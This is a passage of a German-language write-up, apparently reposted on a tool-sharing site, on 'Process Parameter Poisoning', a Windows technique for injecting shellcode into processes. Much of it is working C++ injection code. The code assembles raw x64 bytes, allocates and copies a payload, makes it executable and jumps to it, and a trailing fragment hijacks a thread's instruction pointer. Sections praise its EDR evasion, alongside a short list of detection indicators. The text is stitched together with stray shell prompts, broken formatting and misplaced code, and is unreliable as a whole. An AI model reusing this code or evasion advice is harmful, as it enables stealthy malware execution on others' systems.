void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
{
    // 1. Pushes the shellcode to the stack
    PushBuffer(shellcode.data(), shellcode.size());
    int pos_sc = m_total_consumed_stack_bytes;
    // Shadow Space
    AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
    m_total_consumed_stack_bytes += 32;
 
    // 2. Allocates READWRITE memory
    CallVirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
 
    { // 3. Copies shellcode from the stack to the newly allocated area
        AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
        AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
        SetRAX(shellcode.size());
        AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; size
        SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_sc));
        // r10: Shellcode dest ptr
        // r11: size
        // rcx: Shellcode src ptr
        const char* copy_sc =
            "\x8A\x01"   // mov al, byte ptr ds:[rcx]
            "\x41\x88\x02" // mov byte ptr ds:[r10], al
            "\x48\xff\xc1" // inc rcx
            "\x49\xff\xc2" // inc r10
            "\x49\xff\xcb" // dec r11
            "\x75\xf0";    // jnz -16
        AppendShellCode(copy_sc, 16);
    }
    // (...)

Listing 14: Implementierung von ShellCodeWriter::LoadAndCallShellCode (Schritte 1–3)```cpp // (...) { // 4. Changes protection of the newly allocated area to EXECUTE_READ // VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src); AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress SetArgRegister(1, shellcode.size()); SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - pos_sc)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.VirtualProtect); }

root@kitploit:~
if (m_total_consumed_stack_bytes % 16)
{
    AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
    m_total_consumed_stack_bytes += 8;
}

// 5. Jumps to the newly allocated area
AppendShellCode("\x41\xff\xe4", 3); // jmp r12

}

root@kitploit:~
*Listing 15: Implementierung von `ShellCodeWriter::LoadAndCallShellCode` (Schritte 4–5)*
 
---

## 6. Vorteile der Erkennungsvermeidung durch diese Technik
 
Ein großer Vorteil dieser Technik besteht darin, dass während der Ausführung keine Prozesse im angehaltenen Zustand erstellt und keine Threads oder Prozesse angehalten werden. Das Erstellen angehaltener Prozesse oder wiederholte Aufrufe von `SuspendThread` sind bekannte Indikatoren, die von EDRs für Process Hollowing, Process Injection und ähnliche Angriffe verwendet werden.
 
Darüber hinaus ist beim Erstellen des Zielprozesses bereits ein Handle für den Hauptthread vorhanden, das über die erforderlichen Zugriffsrechte zum Ändern seines Kontexts verfügt.
 
| Aspekt | Klassische Injektion | Process Parameter Poisoning |
|---|---|---|
| Speicherzuweisung | `VirtualAllocEx` erforderlich | Keine explizite Zuweisung |
| Speicherschreiben | `WriteProcessMemory` erforderlich | Indirekt über `CreateProcessW` |
| Ausführung umleiten | `CreateRemoteThread` oder APC | `SetThreadContext` |
| Erkennungswahrscheinlichkeit | Hoch (viele verdächtige APIs) | Reduziert (harmlose Prozesserstellung) |
| EDR-Telemetrie | Genau überwacht | Geringere Beobachtbarkeit |
 
Insgesamt erregt diese Technik viel weniger Verdacht, da sie durch die Verwendung legitimer APIs zur Prozesserstellung und Threadverwaltung einen kleineren Fingerabdruck hinterlässt.
 
---

## 7. Erkennungsansatz
 
Es gibt mehrere verdächtige Indikatoren, die von dieser Technik erzeugt werden und zu ihrer Erkennung genutzt werden können.
 
- Ein `VirtualProtectEx`, das einen Speicherbereich ausführbar macht, gefolgt von `SetThreadContext` mit mindestens `CONTEXT_CONTROL`. Es ist erwähnenswert, dass der Befehlszeiger nicht auf diesen ausführbaren Bereich zeigen muss, da er stattdessen auf ein Gadget zeigen kann, das ihn dann umleitet. Es ist jedoch sehr wahrscheinlich, dass ein Zeiger in den Speicherbereich in eines der CPU-Register geschrieben wird.
- Ein `VirtualProtectEx`, das Seiten der Prozessparameter ausführbar macht, sowohl im eigenen Prozess als auch in externen Prozessen.
- Die Erstellung eines Prozesses, bei dem einer der drei missbrauchten Parameter Verdacht erregt. Zum Beispiel, wenn die Entropie der Befehlszeile nahe an der Entropie von Shellcode liegt oder weit von der Entropie eines normalen Befehlszeilenwerts entfernt ist. Zusätzlich ist die Länge des übergebenen Parameters übermäßig oder es sind viele ungewöhnliche Zeichen darin enthalten. Sich jedoch ausschließlich darauf zu verlassen, ist wahrscheinlich anfällig für Fehlalarme.
- Das Lesen der Prozessparameterstruktur eines entfernten Prozesses, auf die der PEB einen Zeiger hat.

---

## 8. Fazit
 
Zusammenfassend können Angreifer moderne Sicherheitslösungen durch neue Ideen und kleine Modifikationen umgehen, indem sie entweder neue Techniken entwickeln oder alte Techniken auf neuartige Weise wiederverwenden. 
Daher ist es wichtig, kontinuierlich neue Erkennungsregeln zu entwickeln und sich nicht ausschließlich auf eine bestehende Lösung zu verlassen.

---

## 9. Referenzen

[1] https://web.archive.org/web/20241211190548/https://modexp.wordpress.com/2020/07/31/wpi-cmdline-envar/
Tool herunterladen

status = winapi.NtGetContextThread(*hThread, &ctx); if (!NT_SUCCESS(status)) { SetColor(FOREGROUND_RED); printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status); return status; }

ctx.Rip = (DWORD64)shellcode;

status = winapi.NtSetContextThread(*hThread, &ctx); if (!NT_SUCCESS(status)) { SetColor(FOREGROUND_RED); printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status); return status; }

return 0; }